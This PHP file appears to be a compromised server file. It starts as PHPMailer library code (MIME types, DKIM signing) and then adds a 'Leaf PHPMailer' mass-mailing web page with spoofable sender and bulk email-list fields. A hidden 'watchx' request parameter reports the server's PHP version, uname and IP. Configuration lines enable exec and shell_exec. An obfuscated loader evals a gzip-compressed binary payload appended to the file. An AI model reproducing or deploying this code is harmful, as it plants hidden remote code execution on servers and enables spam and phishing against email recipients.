    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$UnMv='fil'.'e'.'_ge'.'t'.'_conten'.'ts';$NUAX='ex'.'it';$oFPc='s'.'tr'.'_'.'re'.'place';$KrIO='gzu'.'ncomp'.'ress';$MEwj='subs'.'tr';eval($KrIO($oFPc('mfiztngxsd','>',$oFPc('nyalwvbtef','<',$MEwj($UnMv( __FILE__ ),-172429)))));$NUAX(0);
?>
xTnP]h99sΙ_m RTݺg$V~_oƶߏl۸mlƲ}K:"3%#~c~ߗiOp$Y8Jde$Lp!Hh?b?u}_Nݓ7'߿j-iݛm;_gѿɖH8   V#Ԟh@4!mfiztngxsdzCLn*zCeolphp=%#t^ JE|&OyU+7{ffr6?Jnyalwvbtefy$hnA5Xwh~	M/^ܗetBrAը7d.mfiztngxsdgE1|[TQ9BxZs_j]\\Xe;Z8~m,H|ȋT0[l.+ug$S(M8x,b88|D)/#d}m\qځoEaWLy`Xm`;:iY-:kJw= xWwvg@ǳ*[a68!"X|\3"%e	D&Winyalwvbtef|Z+!PR%0uW#&u:ޕa_74PVRe;pȱ=28a.a[gCB	H4mfiztngxsdlD.kk,a+A	)Ŵ|(A8ED&n޽m4
*Xc пCSMYkKP	H,MTs.E#
TIsqW1%3;IL6KCQUro+3^6c0 Emfiztngxsdq`Inyalwvbtef3Ri٬ɲ͑0W3533}Z ܾoL=t%mnd҂SV5 Yl^vV-`ZRpwvp{2h/mWmI&~O/۫ YP=MyОA/b$5e@)M[wKzĊ}G++!*{[Rt=eAľj_IJ*~.@^m7ï&
,~t(.h.*jE&%j~knyalwvbtefܓAPك9,WTetk$9\D&Xko岯z8c$d1F@6Y;]~A+U(ު!܊-8x1c{Rh[mfiztngxsd6uH.0@+lC=|H@*DhAC\݀H$HOlC{pb9\N֟ۮR|-A+c쐝kIt!{tdCPcׄ@l|`,s CKP^H٩[vȸ-š7l5I9~A}7EfSB	9;tF,{XlBz Bozj"*#W_[,LaBmfiztngxsdF	@DFߋOK"Ot8OyH #}o^u4]l1
cс8h?N[45͎RO2~RgBmfiztngxsdZgmEHNSNHG"N3vʢԾ5u{7
a^xcy *a6ezi8C`w چ1=3F;^ᗓ0-LY7//:϶%
KugLK|\;h9'qmPw_U"-{UH] ?BD8#W1vx9x-yn`Lu6_g^l3Ώ"$"x1}|d)FޣJ[
[7O9s`ݛcd?ڏ8+Xxӹ(c 	v&Hy?J4}Y磣DJ
 x='رwu^9h1IbzpfQG9@x=QkQ3E)ك5DãTE+'۾*(rZ+:JZMQ
(A:Qv7_7)i RaUv*WQVM	",،,G_iE
IƂX}ո4B\)=|a/,	Awd5+&ؘPnyalwvbtef"dI,QgOKywAM| +}d(+heqA0\l'S,=ѷcG*@Z-`/z3:jǦ|rqSY-o/y:d&?I+i£[z˂ΑM  ruٴ{U4H|jdNŁ/W ۬}z[2qs(iL$7Z~FPù(AɼLa1.5E·
ВJ"ǎZ2GR}S'ߐWn':VHiXWJMIt]{,r-|݇izK˽ky]Jmʘߖc,s|q7)bxCPj8p&^0}d_c'1̕RCZkuO"-18bv`=ni_XuX蜈U8sV :#?9%x	qOl?󚻵^h2T nyalwvbtef2$3,/ 3% Fv[$~;GGo
D@
D&،w_Lw$t3
R'mK8'@@%h
Jv[f& M:aYў(`(84ӝp"N3߃Ti!|AOEWZ+.7@'#h@RjM񳶢ݘ
JuOpଽ%ؕ.c֚Mymfiztngxsd| i`cvL՗zׇy6ΑD
1扌	{?Qf֎!ksLun%tG	RcEkl·Ms-bb Y:,*}d`rmZxenyalwvbtef
Q،#u p.6.;=+S\Ŋz]mfiztngxsdD	vONK]2%6a2^jZB̬F|nyalwvbtefSAl$|=)ջZTJ5؎Ti`?ntMְλ#\j:v
N=PC-jǸ(O j~$_-ܱ,F1`!٢+~eٙu=4owd!M*DBpnB(ZL5O"YKF	Q].BKRt=ƊR
ߨNAVh	 L3m-o4F·/\:ҁs5HsJ1j.|tqBX/dVxzP꛿suT ~_Egy#IyAwv8-h
L_.dIqkD[6k'BD/}NރJB񥵚}˅!#lRfS~T{Zs2FoaT:J(\QJmfiztngxsdзqx9īv9NL04'(g_{֪D
pe"2VxiΘmfiztngxsdߙ0Y;teeR1OZ#`TMoX+fQkNcm*i󛥨ض#oXhλѺ=܂x@
O{{@(T^(	~VZW:j@Ts6YY-%^shd&+4B]HtǉJMw߶uy'q]ru?şw̓8R`I\.p0oRq|~-
ܚm0	tϓ"~CћU\*yF8br 5ȇyI~elZ8Y 	'㭪_sd&b2y0,mfiztngxsdHz탖w*DҜ|3F,?n@o9W3Pݜ{deYPeuV`o 5 
F#6ruqnPNK!SՕ$^T$J)7@9|eKl'~xZk3@-T|Go1u	yN|zmwC
(ax~=T[41D{R,B|K:`mfiztngxsdF*;+b&UHgwS5:^/9'nyalwvbtefēqx
Iۍod:AquUYmfiztngxsd$j郼1
 =~)!TAgŶvnyalwvbtef3Vj3QBAa+_ǽ7:kg-unZԯݯ%|F
,p)BsԁU^{;OǞPcB3N㶭Jo8+IL0bYѷ9nyalwvbtefMP8nnyalwvbtefimfiztngxsd0*j(b_
wd䘁eNNzeA"S
TXӦmfiztngxsdeBXCOX9rPRn[2AIw=U .ilmMů *˄G;(}1WO`曶'N# ߣ|_ͤG	zmfiztngxsdSF־QPﱜ i!OaYP8AIpDs&L֪/J,ڈ}:
YxԎK)8:r+ԊqME:˰`\HE)Vc=2{L]ycu*KF+wH_.&e7/kg=J3ɦtzyvY{D!x]6c@B5It7ۯ3LJ\%X|yIHrciy;O]j	w
iX[ o1Z$ge}KPI|oam=f\Α*)-gcH^"ڎɬ('92ȃώѦ-VN:[4m~pdjeD1fTԠN
